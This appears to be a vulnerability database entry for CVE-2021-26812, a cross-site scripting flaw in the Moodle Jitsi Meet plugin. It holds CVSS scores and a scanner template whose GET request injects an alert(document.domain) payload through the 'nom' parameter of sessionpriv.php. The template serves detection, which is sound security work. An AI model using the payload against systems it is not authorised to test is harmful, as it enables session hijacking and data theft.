CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
75.6%
Moodle Jitsi Meet 2.7 through 2.8.3 plugin contains a cross-site scripting vulnerability via the “sessionpriv.php” module. This allows attackers to craft a malicious URL, which when clicked on by users, can inject JavaScript code to be run by the application.
id: CVE-2021-26812
info:
name: Moodle Jitsi Meet 2.7-2.8.3 - Cross-Site Scripting
author: aceseven (digisec360)
severity: medium
description: Moodle Jitsi Meet 2.7 through 2.8.3 plugin contains a cross-site scripting vulnerability via the "sessionpriv.php" module. This allows attackers to craft a malicious URL, which when clicked on by users, can inject JavaScript code to be run by the application.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Update to the latest version of the Moodle Jitsi Meet plugin to mitigate the XSS vulnerability.
reference:
- https://github.com/udima-university/moodle-mod_jitsi/issues/67
- https://nvd.nist.gov/vuln/detail/CVE-2021-26812
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-26812
cwe-id: CWE-79
epss-score: 0.00464
epss-percentile: 0.75413
cpe: cpe:2.3:a:jitsi:meet:*:*:*:*:*:moodle:*:*
metadata:
max-request: 1
vendor: jitsi
product: meet
framework: moodle
tags: cve2021,cve,moodle,jitsi,xss,plugin
http:
- method: GET
path:
- "{{BaseURL}}/mod/jitsi/sessionpriv.php?avatar=https%3A%2F%2F{{Hostname}}%2Fuser%2Fpix.php%2F498%2Ff1.jpg&nom=test_user%27)%3balert(document.domain)%3b//&ses=test_user&t=1"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "alert(document.domain);"
- type: word
part: header
words:
- "MoodleSession"
- type: status
status:
- 200
# digest: 4a0a0047304502205c8db9275a2a06cc7c1163e7262105ee0b9dfa2a6a733853ceb08c2d859e0584022100c6421baa661ba03a6ed0144bf811fadf8929e70f64b84737037435723f75e8d7:922c64590222798bb761d5b6d8e72950
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
75.6%